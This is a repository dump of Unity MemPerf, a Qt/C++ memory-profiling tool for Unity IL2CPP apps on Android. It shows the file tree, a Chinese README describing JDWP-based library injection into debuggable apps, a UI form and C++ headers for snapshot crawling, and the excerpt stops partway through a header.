├── .gitignore
├── README.md
├── detailswidget.ui
├── include
├── adbprocess.h
├── detailswidget.h
├── globalLog.h
├── mainwindow.h
├── remoteprocess.h
├── startappprocess.h
├── umpcrawler.h
├── umpmemory.h
└── umpmodel.h
├── mainwindow.ui
├── plugins
├── Android
│ └── jni
│ │ ├── Android.mk
│ │ ├── Application.mk
│ │ ├── buffer.h
│ │ ├── umpmain.cpp
│ │ ├── umpmemory.h
│ │ ├── umpserver.cpp
│ │ ├── umpserver.h
│ │ ├── umputils.cpp
│ │ └── umputils.h
└── README.md
├── release
└── jdwp-shellifier.py
├── res
├── btn_callstacks.png
├── btn_capture.png
├── btn_next.png
├── btn_open.png
├── btn_previous.png
├── btn_save.png
├── btn_stat.png
├── btn_treemap.png
├── btn_visualize.png
├── devices.icns
├── devices.ico
├── devices.png
├── icon.qrc
└── images
│ └── memperf.png
├── src
├── adbprocess.cpp
├── detailswidget.cpp
├── globalLog.cpp
├── main.cpp
├── mainwindow.cpp
├── remoteprocess.cpp
├── startappprocess.cpp
├── umpcrawler.cpp
└── umpmodel.cpp
└── unitymemperf.pro
/.gitignore:
--------------------------------------------------------------------------------
1 | # Prerequisites
2 | *.d
3 |
4 | # Compiled Object files
5 | *.slo
6 | *.lo
7 | *.o
8 | *.obj
9 |
10 | # Precompiled Headers
11 | *.gch
12 | *.pch
13 |
14 | # Compiled Dynamic libraries
15 | *.so
16 | *.dylib
17 | *.dll
18 |
19 | # Fortran module files
20 | *.mod
21 | *.smod
22 |
23 | # Compiled Static libraries
24 | *.lai
25 | *.la
26 | *.a
27 | *.lib
28 |
29 | # Executables
30 | *.exe
31 | *.out
32 | *.app
33 |
34 | # Project Solution
35 | *.sublime-project
36 | *.sublime-workspace
37 | *.pro.user
38 |
39 | # Directories
40 | bin/
41 | build/
42 | obj/
43 | libs/
44 | .vs/
45 | .vscode/
46 | .DS_Store
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Unity MemPerf
2 |
3 | UnityMemperf是一款专为**Unity**引擎**安卓**平台**IL2CPP**运行时打造的高性能**内存分析、泄露检查、快照对比**工具
4 |
5 | 参考[PerfAssist](https://github.com/GameBuildingBlocks/PerfAssist/)进行功能开发,通过安卓注入技术,实现了连接USB即可实时抓取内存快照的功能
6 |
7 | **目前支持Windows7/10与MacOSX(Mojave+),Windows需提供Python2.7**
8 |
9 | **目前测试过的支持的安卓版本为:7,8,9**
10 |
11 | **目前测试过支持的Unity为:5.6.6f2,2018.3.13f1,2019.2.9f1**
12 |
13 | **注意:请关闭AndroidStudio、UE4等可能占用ADB的程序再使用本程序!**
14 |
15 | > [程序下载](https://wetest.oa.com/store/unity-memperf)、[使用手册](https://git.code.oa.com/xinhou/unity_memperf/wikis/tutorial)
16 |
17 | 
18 |
19 | **注意:此程序仍处于初级研发阶段**
20 |
21 | ## 特性
22 |
23 | - 可以Profile安卓平台Debuggable的Unity程序
24 | * 已验证版本:Unity5.6.6f2,Unity2018.3.13f1
25 | - 操作简单:只需连接手机,选择并开启程序即可开始抓取内存快照
26 | - 实现了大部分PerfAssist的交互功能
27 | * 记录选择操作历史,方便回看
28 | * 展示Managed对象字段数据,引用数据等底层信息
29 | * 可对不同内存快照进行Diff操作,方便检查Managed内存泄露
30 | - 从手机端实时获取内存快照数据(仅含IL2CPP运行时,不包含UnityNative信息)
31 | - 网络包使用LZ4压缩以加快收发速度
32 | - 运行流畅(使用C++与QT开发)
33 | - 同时支持Windows 10与Mac OSX(Mojave+)操作系统
34 |
35 | ## 计划
36 |
37 | **短期计划**
38 |
39 | * 验证并支持更多版本的Unity引擎
40 | * 发现并优化用户体验相关问题
41 | * 计划中 ...
42 |
43 | ## 技术选择
44 |
45 | 我通过JDWP( Java Debug Wire Protocol)技术进行对Unity安卓程序的动态库注入
46 |
47 | 在动态库的 JNI_OnLoad 中对 Profile 程序进行初始化(开启 TCP Server,开启检测线程等)
48 |
49 | 在JNI_OnLoad函数中,通过dlopen与dlsym可以获取到 il2cpp_capture_memory_snapshot 函数接口,通过此接口即可实现远程操控的内存快照截取操作
50 |
51 | ## 编译
52 |
53 | **环境**
54 |
55 | * QT 5 或更高
56 | * QT Creater 4.8 或更高
57 | * C++11 编译器
58 | * Android NDK r16b 或更高(如需自行编译安卓插件)
59 |
60 | ## 链接
61 |
62 | * JDWP库 https://koz.io/library-injection-for-debuggable-android-apps/
63 | * 图标 https://www.flaticon.com/authors/smashicons
64 | * 工具图标 https://www.flaticon.com/authors/freepik
65 | * Wetest商店 https://wetest.oa.com/store/unity-memperf
66 |
--------------------------------------------------------------------------------
/detailswidget.ui:
--------------------------------------------------------------------------------
1 |
2 |
3 | DetailsWidget
4 |
5 |
6 |
7 | 0
8 | 0
9 | 300
10 | 503
11 |
12 |
13 |
14 |
15 | 300
16 | 0
17 |
18 |
19 |
20 | Form
21 |
22 |
23 |
24 | 4
25 |
26 |
27 | 4
28 |
29 |
30 | 4
31 |
32 |
33 | 4
34 |
35 |
36 | 4
37 |
38 | -
39 |
40 |
41 | Qt::ScrollBarAlwaysOn
42 |
43 |
44 | Qt::ScrollBarAlwaysOff
45 |
46 |
47 | QAbstractScrollArea::AdjustToContents
48 |
49 |
50 | true
51 |
52 |
53 | Qt::AlignLeading|Qt::AlignLeft|Qt::AlignTop
54 |
55 |
56 |
57 |
58 | 0
59 | 0
60 | 276
61 | 590
62 |
63 |
64 |
65 |
66 | 0
67 | 0
68 |
69 |
70 |
71 |
72 | 2
73 |
74 |
75 | 2
76 |
77 |
78 | 2
79 |
80 |
81 | 2
82 |
83 |
84 | 2
85 |
86 |
-
87 |
88 |
89 | 4
90 |
91 |
-
92 |
93 |
94 |
95 | 0
96 | 0
97 |
98 |
99 |
100 |
101 | 0
102 | 0
103 |
104 |
105 |
106 |
107 |
108 | 0
109 | 100
110 |
111 |
112 |
113 |
114 |
115 | 10
116 | 10
117 | 201
118 | 16
119 |
120 |
121 |
122 | Select an Object to see more info
123 |
124 |
125 |
126 |
127 |
128 |
129 | 0
130 | 0
131 |
132 |
133 |
134 |
135 | 0
136 | 100
137 |
138 |
139 |
140 |
141 | 2
142 |
143 |
144 | 0
145 |
146 |
147 | 0
148 |
149 |
150 | 0
151 |
152 |
153 | 0
154 |
155 |
-
156 |
157 |
-
158 |
159 |
160 | Managed Object
161 |
162 |
163 |
164 | -
165 |
166 |
167 | Type
168 |
169 |
170 |
171 | -
172 |
173 |
174 | true
175 |
176 |
177 |
178 | -
179 |
180 |
181 | Address
182 |
183 |
184 |
185 | -
186 |
187 |
188 | true
189 |
190 |
191 |
192 | -
193 |
194 |
195 | Size
196 |
197 |
198 |
199 | -
200 |
201 |
202 | true
203 |
204 |
205 |
206 |
207 |
208 |
209 |
210 |
211 |
212 |
213 | 2
214 |
215 |
216 | 0
217 |
218 |
219 | 0
220 |
221 |
222 | 0
223 |
224 |
225 | 0
226 |
227 | -
228 |
229 |
-
230 |
231 |
232 | Type
233 |
234 |
235 |
236 | -
237 |
238 |
239 | true
240 |
241 |
242 |
243 | -
244 |
245 |
246 | Size
247 |
248 |
249 |
250 | -
251 |
252 |
253 | true
254 |
255 |
256 |
257 | -
258 |
259 |
260 | Static Fields
261 |
262 |
263 |
264 |
265 |
266 |
267 |
268 |
269 |
270 | -
271 |
272 |
273 | Values:
274 |
275 |
276 |
277 | -
278 |
279 |
280 |
281 | 0
282 | 0
283 |
284 |
285 |
286 |
287 | 0
288 | 100
289 |
290 |
291 |
292 |
293 | -
294 |
295 |
296 | Fields:
297 |
298 |
299 |
300 | -
301 |
302 |
303 |
304 | 0
305 | 0
306 |
307 |
308 |
309 |
310 | 0
311 | 100
312 |
313 |
314 |
315 |
316 | -
317 |
318 |
319 | Refs:
320 |
321 |
322 |
323 | -
324 |
325 |
326 |
327 | 0
328 | 0
329 |
330 |
331 |
332 |
333 | 0
334 | 100
335 |
336 |
337 |
338 |
339 | -
340 |
341 |
342 | Referenced by:
343 |
344 |
345 |
346 | -
347 |
348 |
349 |
350 | 0
351 | 0
352 |
353 |
354 |
355 |
356 | 0
357 | 100
358 |
359 |
360 |
361 |
362 |
363 |
364 |
365 |
366 |
367 |
368 |
369 |
370 |
371 |
372 |
373 |
--------------------------------------------------------------------------------
/include/adbprocess.h:
--------------------------------------------------------------------------------
1 | #ifndef ADBPROCESS_H
2 | #define ADBPROCESS_H
3 |
4 | #include
5 |
6 | class AdbProcess : public QObject {
7 | Q_OBJECT
8 | public:
9 | AdbProcess(QObject* parent = nullptr);
10 | virtual ~AdbProcess();
11 |
12 | void SetExecutablePath(const QString& str) {
13 | execPath_ = str;
14 | }
15 |
16 | const QString& GetExecutablePath() const {
17 | return execPath_;
18 | }
19 |
20 | QProcess* Process() const {
21 | return process_;
22 | }
23 |
24 | void ExecuteAsync(const QStringList& arguments) {
25 | ExecuteAsync(execPath_, arguments);
26 | }
27 |
28 | void ExecuteAsync(const QString execPath, const QStringList& arguments) {
29 | running_ = true;
30 | process_->setProgram(execPath);
31 | #ifdef Q_OS_WIN
32 | process_->setNativeArguments(arguments.join(' '));
33 | #else
34 | process_->setArguments(arguments);
35 | #endif
36 | process_->start();
37 | }
38 |
39 | void SetArguments(const QStringList& arguments) {
40 | #ifdef Q_OS_WIN
41 | process_->setNativeArguments(arguments.join(' '));
42 | #else
43 | process_->setArguments(arguments);
44 | #endif
45 | }
46 |
47 | void ExecuteAsync() {
48 | running_ = true;
49 | process_->start();
50 | }
51 |
52 | bool IsRunning() const {
53 | return running_;
54 | }
55 |
56 | bool HasErrors() const {
57 | return hasErrors_;
58 | }
59 |
60 | void Connect();
61 | void Disconnect();
62 |
63 | signals:
64 | void ProcessFinished(AdbProcess* process);
65 | void ProcessErrorOccurred();
66 |
67 | protected:
68 | virtual void OnProcessFinihed() = 0;
69 | virtual void OnProcessErrorOccurred() {}
70 |
71 | protected slots:
72 | void AdbProcessFinished(int exitCode, QProcess::ExitStatus exitStatus);
73 | void AdbProcessErrorOccurred(QProcess::ProcessError);
74 |
75 | protected:
76 | bool running_ = false;
77 | bool connected_ = false;
78 | bool hasErrors_ = false;
79 | QProcess *process_;
80 | QString execPath_;
81 | };
82 |
83 | #endif // ADBPROCESS_H
84 |
--------------------------------------------------------------------------------
/include/detailswidget.h:
--------------------------------------------------------------------------------
1 | #ifndef DETAILSWIDGET_H
2 | #define DETAILSWIDGET_H
3 |
4 | #include
5 | #include
6 |
7 | #include
8 | #include
9 |
10 | namespace Ui {
11 | class DetailsWidget;
12 | }
13 |
14 | enum class ThingType;
15 | struct TypeDescription;
16 | struct FieldDescription;
17 | struct BytesAndOffset;
18 | struct ThingInMemory;
19 | struct ManagedObject;
20 | struct CrawledMemorySnapshot;
21 | class PrimitiveValueReader;
22 | class DetailsWidget : public QWidget {
23 | Q_OBJECT
24 | public:
25 | explicit DetailsWidget(CrawledMemorySnapshot* snapshot, QWidget *parent = nullptr);
26 | ~DetailsWidget();
27 |
28 | void ShowThing(ThingInMemory* thing, ThingType type);
29 |
30 | signals:
31 | void ThingSelected(std::uint32_t index);
32 |
33 | private slots:
34 | void OnListItemDoubleClicked(QListWidgetItem *item);
35 |
36 | private:
37 | void SizeToContent(QListWidget* widget);
38 | void DrawLinks(QListWidget* widget, const std::vector& pointers);
39 | void DrawLinks(QListWidget* widget, const std::vector things);
40 | ThingInMemory* GetThingAt(std::uint64_t address);
41 |
42 | void DrawFields(QListWidget* widget, TypeDescription* type, const BytesAndOffset& bo, bool useStatics = false);
43 | void DrawFields(QListWidget* widget, ManagedObject* mo);
44 | void DrawValueFor(QListWidget* widget, const FieldDescription* field, const BytesAndOffset& bo);
45 |
46 | private:
47 | Ui::DetailsWidget *ui;
48 | CrawledMemorySnapshot* snapshot_;
49 | PrimitiveValueReader* primitiveValueReader_;
50 | std::unordered_map managedObjCache_;
51 | };
52 |
53 | #endif // DETAILSWIDGET_H
54 |
--------------------------------------------------------------------------------
/include/globalLog.h:
--------------------------------------------------------------------------------
1 | #ifndef GLOBALLOG_H
2 | #define GLOBALLOG_H
3 |
4 | #include
5 |
6 | class GlobalLogDef {
7 | public:
8 | GlobalLogDef();
9 | static void writeToFile(QString &str,int type);
10 | static void writeToFile(int &str,int type);
11 | static QString log;
12 | };
13 |
14 | #endif // GLOBALLOG_H
15 |
16 |
17 |
--------------------------------------------------------------------------------
/include/mainwindow.h:
--------------------------------------------------------------------------------
1 | #ifndef MAINWINDOW_H
2 | #define MAINWINDOW_H
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include "startappprocess.h"
10 | #include "remoteprocess.h"
11 |
12 |
13 | namespace Ui {
14 | class MainWindow;
15 | }
16 |
17 | class QFile;
18 | struct CrawledMemorySnapshot;
19 | class MainWindow : public QMainWindow {
20 | Q_OBJECT
21 | public:
22 | explicit MainWindow(QWidget *parent = nullptr);
23 | ~MainWindow() override;
24 |
25 | void LoadSettings();
26 | void SaveSettings();
27 |
28 | void closeEvent(QCloseEvent *event) override;
29 | static QString globalLog ;
30 |
31 | private:
32 | void SaveToFile(QFile *file);
33 | int LoadFromFile(QFile *file);
34 | void CleanWorkSpace();
35 | void Print(const QString& str);
36 | QString GetLastOpenDir() const;
37 |
38 | void ConnectionFailed();
39 | void ShowSnapshot(CrawledMemorySnapshot* snapshot);
40 | void UpdateShowNextPrev();
41 | QString _cacheCsvContent;
42 | bool exportExecl( QString &fileName, QString &datas);
43 |
44 |
45 | private slots:
46 | void FixedUpdate();
47 | void StartAppProcessFinished(AdbProcess* process);
48 | void StartAppProcessErrorOccurred();
49 | void RemoteDataReceived();
50 | void RemoteConnectionLost();
51 |
52 | void OnTabBarContextMenuRequested(const QPoint& pos);
53 | void OnThingSelected(std::uint32_t index);
54 |
55 | void on_actionOpen_triggered();
56 | void on_actionSave_triggered();
57 | void on_actionExit_triggered();
58 | void on_actionAbout_triggered();
59 | void on_sdkPushButton_clicked();
60 | void on_pythonPushButton_clicked();
61 | void on_selectAppToolButton_clicked();
62 | void on_launchPushButton_clicked();
63 | void on_actionCapture_Snapshot_triggered();
64 | void on_upperTabWidget_tabCloseRequested(int index);
65 | void on_upperTabWidget_currentChanged(int index);
66 | void on_actionJump_Back_triggered();
67 | void on_actionJump_Forward_triggered();
68 | void on_actionMark_First_triggered();
69 | void on_actionMark_Second_triggered();
70 |
71 | private:
72 | Ui::MainWindow *ui;
73 | QProgressDialog *progressDialog_;
74 | QString adbPath_;
75 | QString pythonPath_;
76 | QString appPid_;
77 | QString lastOpenDir_;
78 | QTimer* mainTimer_;
79 |
80 | QMap snapShots_;
81 | QWidget* firstDiffPage_ = nullptr;
82 |
83 | // adb shell monkey -p packagename -c android.intent.category.LAUNCHER 1
84 | StartAppProcess *startAppProcess_;
85 |
86 | RemoteProcess *remoteProcess_;
87 | int remoteRetryCount_ = 0;
88 |
89 | bool isConnected_ = false;
90 | };
91 |
92 | #endif // MAINWINDOW_H
93 |
--------------------------------------------------------------------------------
/include/remoteprocess.h:
--------------------------------------------------------------------------------
1 | #ifndef STACKTRACEPROCESS_H
2 | #define STACKTRACEPROCESS_H
3 |
4 | #include
5 | #include
6 |
7 | enum class UMPMessageType : std::uint32_t {
8 | CAPTURE_SNAPSHOT = 0,
9 | };
10 |
11 | struct Il2CppManagedMemorySnapshot;
12 | class QTcpSocket;
13 | class RemoteProcess : public QObject {
14 | Q_OBJECT
15 | public:
16 | RemoteProcess(QObject* parent = nullptr);
17 | ~RemoteProcess() override;
18 |
19 | void ConnectToServer(int port);
20 | void Disconnect();
21 | bool IsConnecting() const { return connectingServer_; }
22 | bool IsConnected() const { return serverConnected_; }
23 |
24 | void Send(UMPMessageType type);
25 | const Il2CppManagedMemorySnapshot* GetSnapShot() const { return snapShot_; }
26 | Il2CppManagedMemorySnapshot* GetSnapShot() { return snapShot_; }
27 |
28 | void SetExecutablePath(const QString& str) { execPath_ = str; }
29 | const QString& GetExecutablePath() const { return execPath_; }
30 |
31 | signals:
32 | void DataReceived();
33 | void ConnectionLost();
34 |
35 | private:
36 | void Interpret(const QByteArray& bytes);
37 | bool DecodeData(const char* data, size_t size);
38 | void OnDataReceived();
39 | void OnConnected();
40 | void OnDisconnected();
41 |
42 | private:
43 | QString execPath_;
44 | QTcpSocket* socket_ = nullptr;
45 | bool connectingServer_ = false;
46 | bool serverConnected_ = false;
47 | quint32 packetSize_ = 0;
48 | char* buffer_ = nullptr;
49 | char* compressBuffer_ = nullptr;
50 | quint32 compressBufferSize_ = 1024;
51 | QByteArray bufferCache_;
52 | Il2CppManagedMemorySnapshot *snapShot_ = nullptr;
53 | };
54 |
55 | #endif // STACKTRACEPROCESS_H
56 |
--------------------------------------------------------------------------------
/include/startappprocess.h:
--------------------------------------------------------------------------------
1 | #ifndef STARTAPPPROCESS_H
2 | #define STARTAPPPROCESS_H
3 |
4 | #include "adbprocess.h"
5 |
6 | class QProgressDialog;
7 | class StartAppProcess : public AdbProcess {
8 | public:
9 | StartAppProcess(QObject* parent = nullptr);
10 |
11 | void SetPythonPath(const QString& path) {
12 | pythonPath_ = path;
13 | }
14 |
15 | bool Result() const {
16 | return startResult_;
17 | }
18 |
19 | QString ErrorStr() const {
20 | return errorStr_;
21 | }
22 |
23 | void StartApp(const QString& appName, const QString& arch, QProgressDialog* dialog);
24 |
25 | protected:
26 | void OnProcessFinihed() override;
27 | void OnProcessErrorOccurred() override;
28 |
29 | private:
30 | bool startResult_ = false;
31 | QString errorStr_;
32 | QString pythonPath_;
33 | };
34 |
35 | #endif // STARTAPPPROCESS_H
36 |
--------------------------------------------------------------------------------
/include/umpcrawler.h:
--------------------------------------------------------------------------------
1 | #ifndef UMPCRAWLER_H
2 | #define UMPCRAWLER_H
3 |
4 | #include
5 | #include
6 |
7 | #include
8 | #include
9 | #include
10 |
11 | #include "umpmemory.h"
12 |
13 | struct Connection {
14 | std::uint32_t from_;
15 | std::uint32_t to_;
16 | Connection(std::uint32_t from, std::uint32_t to) : from_(from), to_(to) {}
17 | };
18 |
19 | struct PackedManagedObject {
20 | std::uint64_t address_;
21 | std::uint32_t typeIndex_;
22 | std::uint32_t size_;
23 | };
24 |
25 | struct StartIndices {
26 | std::uint32_t gcHandleCount_;
27 | std::uint32_t staticFieldsCount_;
28 | StartIndices(std::uint32_t gcHandleCount = 0, std::uint32_t staticFieldsCount = 0)
29 | : gcHandleCount_(gcHandleCount), staticFieldsCount_(staticFieldsCount) {}
30 | std::uint32_t OfFirstGCHandle() const { return 0; }
31 | std::uint32_t OfFirstStaticFields() const { return OfFirstGCHandle() + gcHandleCount_; }
32 | std::uint32_t OfFirstManagedObject() const { return OfFirstStaticFields() + staticFieldsCount_; }
33 | };
34 |
35 | struct PackedCrawlerData {
36 | bool valid_;
37 | Il2CppManagedMemorySnapshot* snapshot_;
38 | StartIndices startIndices_;
39 | std::vector managedObjects_;
40 | std::vector typesWithStaticFields_;
41 | std::vector connections_;
42 | std::vector typeDescriptions_;
43 | PackedCrawlerData(Il2CppManagedMemorySnapshot* snapshot) {
44 | valid_ = true;
45 | snapshot_ = snapshot;
46 | for (std::uint32_t i = 0; i < snapshot->metadata.typeCount; i++) {
47 | auto type = &snapshot->metadata.types[i];
48 | if (type->statics != nullptr && type->staticsSize > 0)
49 | typesWithStaticFields_.push_back(type);
50 | }
51 | startIndices_.gcHandleCount_ = snapshot->gcHandles.trackedObjectCount;
52 | startIndices_.staticFieldsCount_ = static_cast(typesWithStaticFields_.size());
53 | }
54 | };
55 |
56 | struct BytesAndOffset {
57 | std::uint8_t* bytes_ = nullptr;
58 | std::uint64_t offset_ = 0;
59 | std::uint32_t pointerSize_ = 0;
60 | bool IsValid() const { return bytes_ != nullptr; }
61 | std::uint64_t ReadPointer() const {
62 | if (pointerSize_ == 4) {
63 | std::uint32_t ptr;
64 | memcpy(&ptr, bytes_ + offset_, 4);
65 | return ptr;
66 | }
67 | std::uint64_t ptr;
68 | memcpy(&ptr, bytes_ + offset_, 8);
69 | return ptr;
70 | }
71 | std::int32_t ReadInt32() const {
72 | std::int32_t ptr;
73 | memcpy(&ptr, bytes_ + offset_, 4);
74 | return ptr;
75 | }
76 | std::int64_t ReadInt64() const {
77 | std::int64_t ptr;
78 | memcpy(&ptr, bytes_ + offset_, 8);
79 | return ptr;
80 | }
81 | BytesAndOffset Add(std::uint32_t add) const {
82 | BytesAndOffset ba;
83 | ba.bytes_ = bytes_;
84 | ba.offset_ = offset_ + add;
85 | ba.pointerSize_ = pointerSize_;
86 | return ba;
87 | }
88 | void WritePointer(std::uint64_t value) {
89 | for (std::uint32_t i = 0; i < pointerSize_; i++) {
90 | bytes_[i + offset_] = static_cast(value);
91 | value >>= 8;
92 | }
93 | }
94 | BytesAndOffset NextPointer() const {
95 | return Add(pointerSize_);
96 | }
97 | };
98 |
99 | class Crawler {
100 | public:
101 | void Crawl(PackedCrawlerData& result, Il2CppManagedMemorySnapshot* snapshot);
102 | void CrawlPointer(Il2CppManagedMemorySnapshot* snapshot, StartIndices startIndices, std::uint64_t pointer, std::uint32_t indexOfFrom,
103 | std::vector& oConnections, std::vector& outManagedObjects);
104 | void ParseObjectHeader(StartIndices& startIndices, Il2CppManagedMemorySnapshot* snapshot, std::uint64_t originalHeapAddress, std::uint64_t& typeInfoAddress,
105 | std::uint32_t& indexOfObject, bool& wasAlreadyCrawled, std::vector& outManagedObjects);
106 | void CrawlRawObjectData(Il2CppManagedMemorySnapshot* packedMemorySnapshot, StartIndices startIndices, BytesAndOffset bytesAndOffset,
107 | Il2CppMetadataType* typeDescription, bool useStaticFields, std::uint32_t indexOfFrom,
108 | std::vector& out_connections, std::vector& out_managedObjects);
109 | int SizeOfObjectInBytes(Il2CppMetadataType* typeDescription, BytesAndOffset bo, Il2CppManagedMemorySnapshot* snapshot, std::uint64_t address);
110 | private:
111 | std::unordered_map typeInfoToTypeDescription_;
112 | std::vector typeDescriptions_;
113 | };
114 |
115 | struct FieldDescription {
116 | std::uint32_t offset_;
117 | std::uint32_t typeIndex_;
118 | QString name_;
119 | bool isStatic_;
120 | };
121 |
122 | enum class CrawledDiffFlags : std::uint8_t {
123 | kNone = 0,
124 | kAdded,
125 | kBigger,
126 | kSame,
127 | kSmaller,
128 | };
129 |
130 | struct TypeDescription {
131 | Il2CppMetadataTypeFlags flags_;
132 | std::vector fields_;
133 | std::uint8_t* statics_ = nullptr;
134 | std::uint32_t staticsSize_ = 0;
135 | std::uint32_t baseOrElementTypeIndex_;
136 | QString name_;
137 | QString assemblyName_;
138 | std::uint64_t typeInfoAddress_;
139 | std::int64_t size_;
140 | std::uint32_t typeIndex_;
141 | TypeDescription() = default;
142 | TypeDescription(const TypeDescription& other) {
143 | flags_ = other.flags_;
144 | fields_ = other.fields_;
145 | baseOrElementTypeIndex_ = other.baseOrElementTypeIndex_;
146 | name_ = other.name_;
147 | assemblyName_ = other.assemblyName_;
148 | typeInfoAddress_ = other.typeInfoAddress_;
149 | size_ = other.size_;
150 | typeIndex_ = other.typeIndex_;
151 | if (statics_ != nullptr) {
152 | delete statics_;
153 | statics_ = nullptr;
154 | }
155 | staticsSize_ = other.staticsSize_;
156 | if (staticsSize_ > 0) {
157 | statics_ = new std::uint8_t[staticsSize_];
158 | memcpy(statics_, other.statics_, staticsSize_);
159 | }
160 | }
161 | bool IsArray() const {
162 | return (flags_ & Il2CppMetadataTypeFlags::kArray) != 0;
163 | }
164 | bool IsValueType() const {
165 | return (flags_ & Il2CppMetadataTypeFlags::kValueType) != 0;
166 | }
167 | int ArrayRank() const {
168 | return static_cast(flags_ & Il2CppMetadataTypeFlags::kArrayRankMask) >> 16;
169 | }
170 | };
171 |
172 | enum class ThingType {
173 | NONE = 0,
174 | MANAGED,
175 | GCHANDLE,
176 | STATIC
177 | };
178 |
179 | struct ThingInMemory {
180 | std::uint32_t index_{0};
181 | std::int64_t size_{0};
182 | CrawledDiffFlags diff_ = CrawledDiffFlags::kNone;
183 | QString caption_{};
184 | std::vector references_{};
185 | std::vector referencedBy_{};
186 | ThingInMemory() = default;
187 | ThingInMemory(const ThingInMemory& other) {
188 | index_ = other.index_;
189 | size_ = other.size_;
190 | diff_ = other.diff_;
191 | caption_ = other.caption_;
192 | }
193 | virtual ~ThingInMemory() = default;
194 | virtual ThingType type() const { return ThingType::NONE; }
195 | };
196 |
197 | struct ManagedObject : public ThingInMemory {
198 | std::uint64_t address_;
199 | TypeDescription* typeDescription_;
200 | ThingType type() const override { return ThingType::MANAGED; }
201 | };
202 |
203 | struct GCHandle : public ThingInMemory {
204 | ThingType type() const override { return ThingType::GCHANDLE; }
205 | };
206 |
207 | struct StaticFields : public ThingInMemory {
208 | TypeDescription* typeDescription_;
209 | std::uint64_t nameHash_;
210 | ThingType type() const override { return ThingType::STATIC; }
211 | };
212 |
213 | struct CrawledManagedMemorySection {
214 | std::uint64_t sectionStartAddress_ = 0;
215 | std::uint32_t sectionSize_ = 0;
216 | std::uint8_t* sectionBytes_ = nullptr;
217 | };
218 |
219 | enum class FieldFindOptions {
220 | OnlyInstance,
221 | OnlyStatic
222 | };
223 |
224 | struct CrawledMemorySnapshot {
225 | std::vector gcHandles_{};
226 | std::vector managedObjects_{};
227 | std::vector staticFields_{};
228 |
229 | std::vector allObjects_{};
230 |
231 | std::vector managedHeap_;
232 | std::vector typeDescriptions_{};
233 |
234 | Il2CppRuntimeInformation runtimeInformation_;
235 |
236 | bool isDiff_ = false;
237 | QString name_ = "EmptySnapshot";
238 |
239 | static void Unpack(CrawledMemorySnapshot& result, Il2CppManagedMemorySnapshot* snapshot, PackedCrawlerData& packedCrawlerData);
240 | static BytesAndOffset FindInHeap(const CrawledMemorySnapshot* snapshot, std::uint64_t addr);
241 | static QString ReadString(const CrawledMemorySnapshot* snapshot, const BytesAndOffset& bo);
242 | static int ReadArrayLength(const CrawledMemorySnapshot* snapshot, std::uint64_t address, TypeDescription* arrayType);
243 | static void AllFieldsOf(const CrawledMemorySnapshot* snapshot, const TypeDescription* typeDescription,
244 | FieldFindOptions options, std::vector& outFields);
245 | static CrawledMemorySnapshot* Clone(const CrawledMemorySnapshot* src);
246 | static CrawledMemorySnapshot* Diff(const CrawledMemorySnapshot* firstSnapshot, const CrawledMemorySnapshot* secondSnapshot);
247 | static void Free(CrawledMemorySnapshot* snapshot);
248 | };
249 |
250 | // windows & android runtime are little-endian
251 | class PrimitiveValueReader {
252 | public:
253 | PrimitiveValueReader(const CrawledMemorySnapshot* snapshot) : snapshot_(snapshot) {}
254 | template
255 | T ReadInteger(const BytesAndOffset& bo) const {
256 | T value;
257 | memcpy(reinterpret_cast(&value), bo.bytes_ + bo.offset_, sizeof(T));
258 | return value;
259 | }
260 | std::uint8_t ReadByte(const BytesAndOffset& bo) const {
261 | return bo.bytes_[bo.offset_];
262 | }
263 | bool ReadBool(const BytesAndOffset& bo) const {
264 | return ReadByte(bo) != 0;
265 | }
266 | std::uint64_t ReadPointer(const BytesAndOffset& bo) const {
267 | if (snapshot_->runtimeInformation_.pointerSize == 4)
268 | return ReadInteger(bo);
269 | else
270 | return ReadInteger(bo);
271 | }
272 | std::uint64_t ReadPointer(std::uint64_t address) const {
273 | return ReadPointer(CrawledMemorySnapshot::FindInHeap(snapshot_, address));
274 | }
275 | private:
276 | const CrawledMemorySnapshot* snapshot_;
277 | };
278 |
279 | #endif // UMPCRAWLER_H
280 |
--------------------------------------------------------------------------------
/include/umpmemory.h:
--------------------------------------------------------------------------------
1 | #ifndef UMPMEMORY_H
2 | #define UMPMEMORY_H
3 |
4 | #include
5 | #include
6 | #include
7 |
8 | const uint32_t kSnapshotFormatVersion = 4;
9 | const uint32_t kSnapshotMagicBytes = 0xFABCED01;
10 | const uint32_t kSnapshotHeapMagicBytes = 0x9111DAAA;
11 | const uint32_t kSnapshotStacksMagicBytes = 0x147358AA;
12 | const uint32_t kSnapshotMetadataMagicBytes = 0x4891AEFD;
13 | const uint32_t kSnapshotGCHandlesMagicBytes = 0x3456132C;
14 | // const uint32_t kSnapshotNativeTypesMagicBytes = 0x78514753;
15 | // const uint32_t kSnapshotNativeObjectsMagicBytes = 0x6173FAFE;
16 | const uint32_t kSnapshotRuntimeInfoMagicBytes = 0x0183EFAC;
17 | const uint32_t kSnapshotTailMagicBytes = 0x865EEAAF;
18 |
19 | struct Il2CppMetadataField
20 | {
21 | uint32_t offset;
22 | uint32_t typeIndex;
23 | char* name;
24 | bool isStatic;
25 | };
26 |
27 | enum Il2CppMetadataTypeFlags
28 | {
29 | kNone = 0,
30 | kValueType = 1 << 0,
31 | kArray = 1 << 1,
32 | kArrayRankMask = 0xFFFF0000
33 | };
34 |
35 | struct Il2CppMetadataType
36 | {
37 | Il2CppMetadataTypeFlags flags; // If it's an array, rank is encoded in the upper 2 bytes
38 | Il2CppMetadataField* fields;
39 | uint32_t fieldCount;
40 | uint32_t staticsSize;
41 | uint8_t* statics;
42 | uint32_t baseOrElementTypeIndex;
43 | char* name;
44 | char* assemblyName;
45 | uint64_t typeInfoAddress;
46 | uint32_t size;
47 | uint32_t typeIndex;
48 | };
49 |
50 | struct Il2CppMetadataSnapshot
51 | {
52 | uint32_t typeCount;
53 | Il2CppMetadataType* types;
54 | };
55 |
56 | struct Il2CppManagedMemorySection
57 | {
58 | uint64_t sectionStartAddress;
59 | uint32_t sectionSize;
60 | uint8_t* sectionBytes;
61 | };
62 |
63 | struct Il2CppManagedHeap
64 | {
65 | uint32_t sectionCount;
66 | Il2CppManagedMemorySection* sections;
67 | };
68 |
69 | struct Il2CppStacks
70 | {
71 | uint32_t stackCount;
72 | Il2CppManagedMemorySection* stacks;
73 | };
74 |
75 | struct NativeObject
76 | {
77 | uint32_t gcHandleIndex;
78 | uint32_t size;
79 | uint32_t instanceId;
80 | uint32_t classId;
